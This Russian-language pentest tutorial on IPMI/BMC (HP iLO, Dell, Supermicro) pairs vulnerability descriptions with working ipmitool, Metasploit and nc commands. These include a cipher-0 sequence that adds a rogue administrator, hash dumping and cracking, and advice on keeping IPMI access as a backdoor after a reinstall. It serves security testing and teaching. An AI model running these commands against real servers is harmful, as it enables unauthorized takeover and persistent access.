Се­год­ня мы кос­немся исто­рии иссле­дова­ния безопас­ности IPMI, рас­смот­рим век­торы для про­веде­ния атак и их даль­нейше­го раз­вития с исполь­зовани­ем IPMI.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Лица, исполь­зующие дан­ную информа­цию в про­тиво­закон­ных целях, могут быть прив­лечены к ответс­твен­ности.

 

Коротко об IPMI/BMC

IPMI — это набор спе­цифи­каций, рег­ламен­тиру­ющих, как общать­ся и что пре­дос­тавлять. Все вен­доры ста­рают­ся при­дер­живать­ся этих спе­цифи­каций.

BMC — это обер­тка из железа для работы IPMI. Пред­став­ляет собой одноплат­ный компь­ютер (system on a chip) с щупаль­цами в сен­сорах основно­го. Каж­дый вен­дор сам выбира­ет, что за железо исполь­зовать и как его объ­еди­нять, что естес­твен­но. Все наши при­меры мы будем рас­смат­ривать на Integrated Lights Out (iLO) от Hewlett-Packard (HP). HP iLO — это как раз связ­ка BMC/IPMI. У дру­гих вен­доров свои наз­вания, реали­зации в железе и соф­те. Но, как пра­вило, это одноплат­ный комп с про­цес­сором ARM и Linux’ом на бор­ту.

Ос­новная фун­кция подоб­ных устрой­ств — сде­лать жизнь адми­нов более прос­той и удоб­ной: про­пада­ет необ­ходимость бежать к сер­веру и жать кноп­ку Reset / ста­вить новую сис­тему / смот­реть, почему он не гру­зит­ся. Теперь мож­но под­клю­чить­ся к IPMI/BMC и сде­лать все это уда­лен­но. К тому же появ­ляет­ся воз­можность получать информа­цию со все­воз­можных дат­чиков тем­перату­ры, нап­ряжения и так далее, что так­же доволь­но удоб­но.

 

Управление

Ин­терфей­сов управле­ния нес­коль­ко:

  • веб‑интерфейс (зависит от вен­дора);
  • IPMI over LAN (UDP 623);
  • из уста­нов­ленной сис­темы на сер­вере (при усло­вии, что уста­нов­лены драй­веры от про­изво­дите­ля). Исполь­зуемый софт: WMI под вин­дой, OpenIPMI, IPMItool под Linux.

С веб‑интерфей­сом все понят­но. Каж­дый вен­дор сам реша­ет, как он выг­лядит и как его реали­зовать. Вто­рой и тре­тий интерфей­сы похожи, но раз­лича­ется сре­да переда­чи. В слу­чае IPMI over LAN, как мож­но догадать­ся, коман­ды переда­ются через сеть на порт UDP 623. Из уста­нов­ленной сис­темы коман­ды для IPMI переда­ются пос­редс­твом фай­ла устрой­ства, обыч­но это /dev/ipmi0, которое появ­ляет­ся пос­ле уста­нов­ки драй­вера. Стан­дар­тная ути­лита для вза­имо­дей­ствия с IPMI — это IPMItool под GNU/Linux, как наибо­лее прос­тая в обра­щении.

Вендоры и их IPMI/BMC
Вен­доры и их IPMI/BMC
 

Что пентестеру IPMI/BMC

Нес­мотря на то что отчет об уяз­вимос­тях IPMI/BMC был опуб­ликован еще летом 2013 года, в нас­тоящее вре­мя оста­ется очень мно­го уяз­вимых сис­тем. Очень час­то IPMI/BMC любой мас­ти мож­но най­ти через поис­ковик shodanhq.com (при­мер редак­ции: для ста­тис­тики). Естес­твен­но, не сто­ит дер­жать подоб­ные сис­темы сна­ружи. В основном они встре­чают­ся при про­веде­нии внут­ренних пен­тестов. Один из самых прос­тых век­торов раз­вития ата­ки с исполь­зовани­ем таких сис­тем — «угон» сер­вера с помощью IPMI/BMC. Заимев адми­нис­тра­тив­ный дос­туп к IPMI/BMC (как будет показа­но далее, это сов­сем нес­ложно), мож­но под­клю­чить­ся через VirtualConsole (aka KVM) и, к при­меру, сбро­сить пароль root’a или с помощью LiveCD сдам­пить хеши локаль­ных поль­зовате­лей, если это Windows. При про­качан­ном скил­ле уда­чи мож­но даже пой­мать кон­соль, из которой root забыл раз­логинить­ся (очень час­то такое встре­чает­ся на вир­туаль­ных машинах).

В свою оче­редь, IPMI мож­но исполь­зовать и как воз­можность вер­нуть дос­туп к сер­веру пос­ле пол­ной пере­уста­нов­ки сис­темы. Дос­туп к IPMI/BMC средс­тва­ми опе­раци­онной сис­темы при наличии мак­сималь­ных при­виле­гий воз­можен без исполь­зования пароля, то есть авто­риза­ция вооб­ще не нуж­на. В этом слу­чае зло­умыш­ленник прос­то соз­дает адми­нис­тра­тив­ный акка­унт в IPMI/BMC. При потере дос­тупа к сер­веру он заходит на IPMI/BMC и воз­вра­щает чес­тно зарабо­тан­ное доб­ро. Вооб­ще, связь IPMI/BMC с основным компь­юте­ром до сих пор дос­кональ­но не изу­чена. Это непаха­ное поле для поис­ка багов и фич. Учи­тывая количес­тво вен­доров, которые реали­зуют это в сво­их сер­верах, мож­но говорить о «богатом внут­реннем мире».

 

Публичные исследования

Впер­вые на безопас­ность IPMI и BMC обра­тил вни­мание Дэн Фар­мер (Dan Farmer). С его пол­ным отче­том, носящим говоря­щее наз­вание «Гру­зовой поезд в ад», мож­но озна­комить­ся здесь. Мы рас­смот­рим наибо­лее инте­рес­ные с точ­ки зре­ния взло­ма момен­ты.

Ру­ководс­тву­ясь иссле­дова­нием Дэна, уяз­вимос­ти IPMI/BMC мож­но раз­делить на две боль­шие катего­рии:

  • кас­томные баги от про­изво­дите­лей (нап­ример, уяз­вимос­ти веб‑интерфей­са);
  • уяз­вимос­ти про­токо­ла IPMI.

На самом деле Дэн накопал мно­го инте­рес­ного, об этом ниже.

 

NULL authentication

Описание:

Уяз­вимость поз­воля­ет обой­ти аутен­тифика­цию. При­сутс­тву­ет толь­ко в IPMI 1.5. Экс­плу­ата­ция дает воз­можность управлять устрой­ством, прос­то акти­виро­вав опцию отклю­чения аутен­тифика­ции. При­виле­гии раз­лича­ются у раз­ных вен­доров, но обыч­но быва­ют мак­сималь­ными.

Вендоры:

  • HP;
  • Dell;
  • Supermicro.

Условия:

От­кры­тый порт UDP 623, IPMI 1.5, логин сущес­тву­юще­го юзе­ра.

POC:

ipmitool -A NONE ‐H targetIP bmc guid
 

IPMI Authentication Bypass via Cipher 0

Описание:

Уяз­вимость поз­воля­ет обой­ти аутен­тифика­цию. Бага появи­лась с IPMI вер­сией 2.0. В этой ревизии решили добавить шиф­рования. Для экс­плу­ата­ции надо знать логин валид­ной учет­ной записи, а вот пароль знать не обя­затель­но — мож­но ука­зать любой.

Вендоры:

  • HP;
  • Dell;
  • Supermicro.

Условия:

От­кры­тый порт UDP 623, IPMI 2.0, логин сущес­тву­юще­го юзе­ра.

POC:

metasploit - auxiliary/scanner/ipmi/ipmi_cipher_zero
ipmitool –I lanplus –C 0 –H targetIP –U Administrator –P anypasswordhere user list
 

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

Описание:

Уяз­вимость поз­воля­ет неав­торизи­рован­ному юзе­ру получить захеши­рован­ные пароли поль­зовате­лей для пос­леду­юще­го бру­та. Бага появи­лась в спе­цифи­кации IPMI вер­сии 2.0

Вендоры

  • HP;
  • Dell;
  • Supermicro.

Условия:

От­кры­тый порт UDP 623, IPMI 2.0, логины сущес­тву­ющих поль­зовате­лей.

POC:

metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes
http://fish2.com/ipmi/tools/rak-the-ripper.pl
 

IPMI Anonymous Authentication/Null user

Описание:

Кто‑то называ­ет это null user, кто‑то — anonymous authentication. Кто‑то раз­деля­ет эти две уяз­вимос­ти, кто‑то нет… По умол­чанию сущес­тву­ет null user / anonymous – «» (пус­тая стро­ка). Если говорят null user, то пароль у него тоже пус­той. Если говорят anonymous authentication, то пасс у него admin и во всем винова­то IPMI Chips with ATEN-Software.

Дэн в сво­ем иссле­дова­нии счи­тает это как две раз­ные уяз­вимос­ти. А в до­ке от Rapid7 об null user уже ни сло­ва.

Вендоры

  • HP;
  • Dell;
  • Supermicro (исполь­зуют IPMI Chips with ATEN-Software).

Условия:

От­кры­тый порт UDP 623.

POC:

metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes
ipmitool -I lanplus -H targetIP -U '' -P '' user list
 

Supermicro IPMI UPnP Vulnerability

Описание:

В Supermicro при­сутс­тву­ет сер­вис UPnP SSDP на пор­ту UDP 1900. Он уяз­вим к перепол­нению буфера.

Вендоры

  • Supermicro.

Условия:

От­кры­тый порт 1900.

POC:

metasploit exploit/multi/upnp/libupnp_ssdp_overflow
metasploit auxiliary/scanner/upnp/ssdp_msearch

 

Supermicro IPMI Clear-text Passwords

Описание:

Спе­цифи­кация IPMI 2.0 под­разуме­вает, что где‑то дол­жны хра­нить­ся пароли в откры­том виде. В Supermicro они находят­ся в фай­лах /nv/PSBlock или /nv/PSStore, в зависи­мос­ти от firmware.

По­мимо это­го, в реали­заци­ях BMC на Nuvoton WPCM450 на TCP-пор­ту 49152 висит сер­вис, который поз­воля­ет читать содер­жимое фай­лов в дирек­тории /nv, нап­ример PSBlock, server.pem и так далее.

Вендоры

  • Supermicro.

Условия:

Shell-дос­туп?

POC:

cat /nv/PSBlock
echo ‘GET /PSBlock’ | nc targetIP 49152

По поводу уяз­вимос­тей «NULL authentication / IPMI Authentication Bypass via Cipher 0», «IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval», «IPMI Anonymous Authentication» — обо всем этом написа­но в спе­цифи­кации IPMI. Иссле­дова­тели дос­кональ­но изу­чили ее, сде­лав при этом упор на механиз­мы аутен­тифика­ции и шиф­рования. Уяз­вимость, свя­зан­ная с про­изволь­ным выпол­нени­ем кода в UPnP-сер­висе в про­шив­ке Supermicro (Supermicro IPMI UPnP Vulnerability), отно­сит­ся к CVE-2012-5958 (BoF в libupnp). Осталь­ные же зат­ронутые нами уяз­вимос­ти най­дены с помощью ана­лиза про­шив­ки Supermicro для материн­ских плат Supermicro X9, при­чем упор делал­ся имен­но на ана­лиз кода, отве­чающе­го за веб.

 

Hands-On Lab

Да­вай раз­берем стан­дар­тную схе­му экс­плу­ати­рова­ния уяз­вимос­тей IPMI. С помощью модуля ipmi_version, дос­тупно­го в фрей­мвор­ке Metasploit, мож­но прос­каниро­вать периметр сети. Если ты уже находишь­ся во внут­реннем сег­менте и уста­нав­ливать/исполь­зовать Metasploit нет воз­можнос­ти, то мож­но обой­тись прос­тень­кой ути­литой ipmiping или rmcpping.

Поиск открытых IPMI
По­иск откры­тых IPMI

Как толь­ко уда­лось обна­ружить откры­тые IPMI, в пер­вую оче­редь сле­дует про­верить их на уяз­вимость «Authentication Bypass via Cipher 0» (смот­ри выше). Если она при­сутс­тву­ет, то мож­но обой­тись без дам­па хешей поль­зовате­лей и прос­то сбро­сить пароль адми­нис­тра­тору или добавить сво­его. Важ­но: для исполь­зования этой уяз­вимос­ти необ­ходимо зна­ние логина учет­ной записи, в нашем слу­чае у учет­ной записи дол­жны при­сутс­тво­вать адми­нис­тра­тив­ные при­виле­гии. Для начала рас­смот­рим слу­чай с дам­пом хеша поль­зовате­ля и пос­леду­ющим его брут­форсом.

С помощью модуля Metasploit’a ipmi_dumphashes мы име­ем воз­можность соб­рать хеши поль­зовате­лей. Важ­но: без зна­ния логина поль­зовате­ля не получит­ся добыть его хеш. В опци­ях ipmi_dumphashes мож­но ука­зать путь до фай­ла с логина­ми, нап­ример в том слу­чае, если адми­ны соз­дали для себя учет­ные записи. Файл, который исполь­зует­ся по умол­чанию, содер­жит дефол­тные логины всех вен­доров.

Брут хешей под­держи­ваю как oclHashcat, так и John the Ripper c jumbo-пат­чами (community edition). Джо­на сле­дует брать с гит­хаба (пос­леднее вре­мя Рос­комнад­зор его не жалу­ет. — Прим. ред.), так как на офи­циаль­ном сай­те уста­рев­шая вер­сия без под­дер­жки нуж­ного нам фор­мата. Пос­ледняя вер­сия oclHashcat, на дан­ный момент 1.30, под­держи­вает все из короб­ки.

Ес­ли у тебя в руках ока­зал­ся хеш от HP iLO4, то тебе повез­ло. Дело в том, что при кон­фигури­рова­нии на заводе пароль по умол­чанию для учет­ной записи Administrator уста­нав­лива­ют дли­ной восемь сим­волов — uppercase + numeric. На моих скром­ных мощ­ностях поиск подоб­ного зна­чения сос­тавля­ет око­ло получа­са.

John the Ripper спешит на помощь
John the Ripper спе­шит на помощь
Напрягаем видеокарту с помощью oclHashcat
Нап­ряга­ем виде­окар­ту с помощью oclHashcat

В слу­чае наличия уяз­вимос­ти cipher 0 мож­но обой­тись без брут­форса хешей и сбро­сить пароль. Для это­го нам понадо­бит­ся ути­лита IPMItool. Сбор­ка под GNU/Linux не вызыва­ет воп­росов. А вот под Windows при­дет­ся устро­ить пляс­ки с буб­ном в Cygwin. Пос­ледова­тель­ность дей­ствий для добав­ления адми­нис­тра­тора такая:

1. Смот­рим, какие поль­зовате­ли при­сутс­тву­ют, и исполь­зуем сле­дующий сво­бод­ный ID.

ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user list

2. Уста­нав­лива­ем логин нашего поль­зовате­ля.

ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user set name <ID> hacker

3. Зада­ем для него пароль.

ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user set password <ID> hackerpass

4. Дела­ем его адми­нис­тра­тором.

ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user priv <ID> 4

5. Акти­виру­ем толь­ко что соз­данную учет­ную запись.

ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user enable <ID>

Пос­ле того как хеши взло­маны, пароли сбро­шены или же добав­лен новый адми­нис­тра­тор, у тебя появ­ляет­ся воз­можность зай­ти через веб‑интерфейс, по SSH на SMASH или под­клю­чить­ся к уда­лен­ному рабоче­му сто­лу, а‑ля KVM.

Осо­бую цен­ность пред­став­ляет KVM, так как реали­зует дос­туп непос­редс­твен­но к самой кон­соли, тем самым поз­воляя получить дос­туп в BIOS, уста­новить ОС и тому подоб­ное. За реали­зацию KVM отве­чает каж­дый вен­дор сам. Нап­ример, в HP iLO4 для это­го исполь­зуют­ся пор­ты TCP 17988 и 17990. У Dell iDRAC7 это порт TCP 5900. Cisco ICM порт TCP 2068.

Софт от HP для KVM
Софт от HP для KVM

Сто­ит упо­мянуть такую вещь, как HP BladeSystem Onboard Administrator. HP BladeSystem пред­став­ляет собой шас­си, к которо­му под­клю­чают­ся блейд‑сер­веры. Так вот, это шас­си поз­воля­ет управлять цен­тра­лизо­ван­но блейд‑сер­верами с помощью IPMI. При этом авто­риза­ция на «под­чинен­ные» IPMI про­исхо­дит с помощью механиз­ма SSO. Все, что тебе тре­бует­ся, — это получить хеш поль­зовате­ля с адми­нис­тра­тив­ными при­виле­гиями и с помощью веб‑интерфей­са под­клю­чить­ся на инте­ресу­ющий тебя сер­вер :).

HP BladeSystem Onboard Administrator
HP BladeSystem Onboard Administrator

Еще одна инте­рес­ная осо­бен­ность, най­ден­ная в HP iLO4, — это воз­можность под­клю­чить­ся к сер­веру по KVM пря­мо из SMASH (читай: SSH) с помощью коман­ды TEXTCONS. Это весь­ма полез­но, ког­да зак­рыты пор­ты 80, 443, 17990. Для это­го понадо­бят­ся пра­ва адми­нис­тра­тора, но какая раз­ница? Стать адми­нис­тра­тором не так слож­но.

Пер­сональ­но для тебя, читатель, я под­готовил прог­рамму ipmicd на C под Windows/Linux. Она поз­воля­ет ска­ниро­вать диапа­зон адре­сов на наличие IPMI/BMC, а так­же дам­пит хеши (ана­лог ipmi_dumphashes из Metasploit’а). Прог­раммы соз­даны на тот слу­чай, ког­да исполь­зовать Metasplolit не самая удач­ная идея, нап­ример IPMI/BMC находят­ся где‑то далеко, куда Metasploit не проб­росишь.

Ути­лита дос­тупна на GitHub. Очень прос­та в исполь­зовании:

  1. Па­раметр -p исполь­зует­ся, ког­да необ­ходимо про­вес­ти ска­ниро­вание опре­делен­ного диапа­зона.
  2. Па­раметр -d ука­зыва­ет необ­ходимость получить захеши­рован­ный пароль.
  3. Па­раметр -v N ука­зыва­ет сте­пень логиро­вания при работе 0..5. При N = 1 прог­рамма выда­ет фин­гер­прин­ты.

Ком­бинируя парамет­ры, мож­но вли­ять на поведе­ние прог­раммы. Нап­ример, при исполь­зовании вмес­те опций -d и -p прог­рамма будет про­бовать получить хеши толь­ко с сис­тем, которые отве­чают на IPMI-пин­ги. При исполь­зовании толь­ко опции -d будет пытать­ся получить хеши со всех адре­сов, что очень‑очень мед­ленно. Если что‑то вызыва­ет сом­нения, то мож­но исполь­зовать -v 5 — прог­рамма будет выводить в удоб­ном фор­мате получа­емые сооб­щения.

Для ком­пилиро­вания под Linux понадо­бит­ся толь­ко GCC — gcc ipmicd.c -static -o ipmicd. В слу­чае исполь­зования на Windows ком­пилиро­вать сле­дует с помощью MinGW gcc ipmicd.c -mno-ms-bitfields -lws2_32 -DMINGW.

По­мимо это­го, я под­готовил для тебя PoC LiveCD, который дам­пит хеши поль­зовате­лей Windows. Там же ты смо­жешь най­ти инс­трук­цию по соз­данию сво­его кас­томно­го LiveCD.

 

Заключение

Па­ра слов о высоком: изу­чение воз­можнос­тей и реали­заций раз­ными вен­дорами IPMI/BMC толь­ко начина­ется. Сюда мож­но вклю­чить не толь­ко веб‑интерфейс или SMASH, но и драй­веры для опе­раци­онных сис­тем, поз­воля­ющих вза­имо­дей­ство­вать с IPMI/BMC из уста­нов­ленной сис­темы. Внут­ренние сер­висы, реали­зующие обмен информа­цией в IPMI/BMC. Под при­цел может попасть даже «желез­ная» реали­зация самого BMC и как имен­но он управля­ет основным сер­вером.

Ад­минис­тра­торам же я рекомен­дую про­верить все свои сис­темы на наличие в них пуб­личных уяз­вимос­тей и по воз­можнос­ти устра­нить эти уяз­вимос­ти. Помимо это­го, уде­ляй­те боль­ше вни­мания сег­мента­ции сво­их сетей — поль­зовате­ли не дол­жны иметь дос­туп к сис­темам, которые для них не пред­назна­чены. Stay tuned!

Оставить мнение